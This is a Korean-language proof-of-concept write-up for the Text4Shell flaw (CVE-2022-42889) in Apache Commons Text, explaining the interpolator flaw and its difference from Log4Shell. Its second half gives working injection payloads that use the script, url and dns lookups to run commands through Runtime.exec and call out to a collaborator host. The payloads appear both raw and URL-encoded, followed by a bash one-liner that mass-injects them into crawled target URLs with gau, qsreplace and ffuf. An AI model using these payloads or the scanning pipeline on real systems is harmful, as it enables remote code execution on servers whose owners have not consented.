
Apache commons text - CVE-2022-42889 Text4Shell 개념 증명 익스플로잇.
Apache commons text - CVE-2022-42889 Text4Shell 개념 증명 익스플로잇.
CVE-2022-42889는 Apache Commons Text 버전 1.5부터 1.9까지 영향을 미칩니다. Commons Text 버전 1.10에서 패치되었습니다.
이 취약점은 관련 객체를 사용하는 다양한 소프트웨어 애플리케이션에 광범위한 영향을 미칠 가능성이 있는 오픈 소스 라이브러리 수준의 취약점이라는 점에서 Log4Shell과 비교되었습니다.
그러나 초기 분석에 따르면 이는 잘못된 비교입니다. 취약점의 특성상 Log4Shell과 달리, 애플리케이션이 Commons Text의 취약한 구성 요소를 사용하여 신뢰할 수 없는 잠재적으로 악의적인 입력을 처리하는 경우는 드뭅니다.
취약점은 StringSubstitutor 인터폴레이터 객체에 존재합니다. 인터폴레이터는 StringSubstitutor.createInterpolator() 메서드에 의해 생성되며, StringLookupFactory에 정의된 대로 문자열 조회를 허용합니다. 이는 " ${prefix:name} " 형태의 문자열을 전달하여 사용할 수 있으며, prefix는 앞서 언급한 조회입니다. " script ", " dns " 또는 " url " 조회를 사용하면 조작된 문자열이 인터폴레이터 객체에 전달될 때 임의의 스크립트를 실행할 수 있습니다.
이 특정 코드 조각이 프로덕션 애플리케이션에 존재할 가능성은 낮지만, 일부 애플리케이션에서는 pocstring 변수가 공격자에 의해 제어될 수 있다는 점이 우려됩니다. 이러한 측면에서 취약점은 Log4Shell과 유사합니다. 그러나 StringSubstitutor 인터폴레이터는 Log4j의 취약한 문자열 치환에 비해 훨씬 덜 널리 사용되며, 이러한 인터폴레이터의 특성상 취약한 객체에 조작된 입력이 도달할 가능성은 Log4Shell과 같이 단순히 조작된 문자열과 상호 작용하는 것보다 낮습니다.
script:javascript
매개변수 값을 페이로드로 교체:
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
url
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
dns
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ
qsreplace @tomnomnom님 감사합니다